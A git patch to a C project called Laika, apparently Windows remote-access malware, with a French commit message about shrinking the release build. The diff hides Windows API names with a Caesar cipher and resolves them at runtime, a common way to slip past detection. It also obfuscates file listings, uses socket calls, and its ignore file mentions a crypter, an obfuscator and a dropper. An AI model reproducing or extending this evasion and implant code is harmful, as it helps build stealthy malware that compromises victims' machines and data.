From 7d61e27876f5e3eb14b900e13ca2d304423d5457 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 21 Feb 2023 14:57:50 +0100 Subject: [PATCH] =?UTF-8?q?code=20optimis=C3=A9,=20debug=20mode=20cr=C3=A9?= =?UTF-8?q?=C3=A9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit passé de 12ko à 9ko en Release --- .gitignore | 3 ++- Laika/Laika.vcxproj | 50 ++++++++++++++++++++++++++++++------------- Laika/file_explorer.c | 4 ++-- Laika/main.c | 4 ++-- Laika/resolve_apis.c | 8 +++++-- Laika/resolve_apis.h | 6 +++++- 6 files changed, 52 insertions(+), 23 deletions(-) diff --git a/.gitignore b/.gitignore index d4c570d..dd4ccd6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,8 @@ #le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place .vim Laika/.vs -Laika/release +Laika/Release +Laika/Debug Crypter/.vs Crypter/x64 Dropper/ \ No newline at end of file diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index f4db323..400fa87 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -28,7 +28,7 @@ Application - true + false v143 Unicode @@ -71,7 +71,8 @@ - true + false + false false @@ -87,19 +88,6 @@ false - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - stdcpp20 - - - Console - true - - - Level3 true @@ -122,6 +110,38 @@ main + true + + + + + Level3 + true + true + false + WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + stdcpp20 + MinSpace + MultiThreadedDebug + false + CompileAsC + AnySuitable + Size + true + true + + + Console + true + true + true + true + main + + + /LTCG %(AdditionalOptions) + true diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 0d4a70d..3a183eb 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { wcscat(searchPath, L"\\*.*"); - hFind = FindFirstFile(searchPath, &findData); + hFind = Api.FindFirstFileW(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { return NULL; } @@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); Api.strcpy(fileList[numFound], CAESAR(fileName)); numFound++; - } while (FindNextFile(hFind, &findData) != 0); + } while (Api.FindNextFileW(hFind, &findData) != 0); Api.FindClose(hFind); diff --git a/Laika/main.c b/Laika/main.c index 75da530..f934679 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -446,10 +446,10 @@ retry: } } } - + /* Never called Api.closesocket(sock); FreeApis(); - + */ return 0; } \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 89e1e34..8cb611c 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -12,8 +12,8 @@ void InitApis() { return; } - Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); @@ -29,6 +29,8 @@ void InitApis() { Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); + Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\")); + Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -72,8 +74,10 @@ void InitApis() { Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); } +/* Never called void FreeApis() { Api.FreeLibrary(hWininet); Api.FreeLibrary(hMsvcrt); Api.FreeLibrary(hKernel32); -} \ No newline at end of file +} +*/ \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index 27bf066..0f3f6d8 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); +typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW); +typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef struct ApiList { Tconnect connect; @@ -91,6 +93,8 @@ typedef struct ApiList { TFindClose FindClose; TGetLogicalDrives GetLogicalDrives; TMultiByteToWideChar MultiByteToWideChar; + TFindFirstFileW FindFirstFileW; + TFindNextFileW FindNextFileW; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -110,4 +114,4 @@ typedef struct ApiList { } API; void InitApis(); -void FreeApis(); \ No newline at end of file +//void FreeApis(); Never called \ No newline at end of file